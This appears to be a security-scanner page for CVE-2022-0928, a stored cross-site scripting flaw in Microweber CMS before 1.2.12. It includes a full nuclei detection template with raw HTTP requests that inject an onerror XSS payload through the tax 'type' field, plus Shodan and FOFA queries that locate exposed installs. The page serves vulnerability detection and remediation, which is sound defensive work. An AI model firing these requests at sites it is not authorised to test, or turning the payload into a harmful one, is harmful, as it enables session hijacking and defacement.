Microweber < 1.2.12 - Stored Cross-Site Scripting

mediumseverity

5.4CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Microweber to version 1.2.12 or later to mitigate this vulnerability.

How to confirm it

Send: POST /api/user_login ; POST /api/shop/save_tax_item ; POST /module
Positive when: contains(body_3,"<img src=x onerror=alert(document.domain)></td>") and contains(header_3,"text/html") and status_code_2 == 200 && status_code_3 == 200

Run it with nuclei: nuclei -id CVE-2022-0928 -u <target>

The full check

id: CVE-2022-0928

info:
  name: Microweber < 1.2.12 - Stored Cross-Site Scripting
  author: amit-jd
  severity: medium
  description: |
    Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Microweber to version 1.2.12 or later to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/085aafdd-ba50-44c7-9650-fa573da29bcd
    - https://github.com/microweber/microweber/commit/fc9137c031f7edec5f50d73b300919fb519c924a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0928
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0928
    cwe-id: CWE-79
    epss-score: 0.02389
    epss-percentile: 0.84094
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve2022,cve,authenticated,huntr,xss,microweber,cms,vuln

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /api/shop/save_tax_item HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}/admin/view:settings

        id=0&name=vat1&type="><img+src%3dx+onerror%3dalert(document.domain)>&rate=10
      - |
        POST /module HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer:{{BaseURL}}/admin/view:settings

        class=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3,"<img src=x onerror=alert(document.domain)></td>")'
          - 'contains(header_3,"text/html")'
          - 'status_code_2 == 200 && status_code_3 == 200'
        condition: and

References

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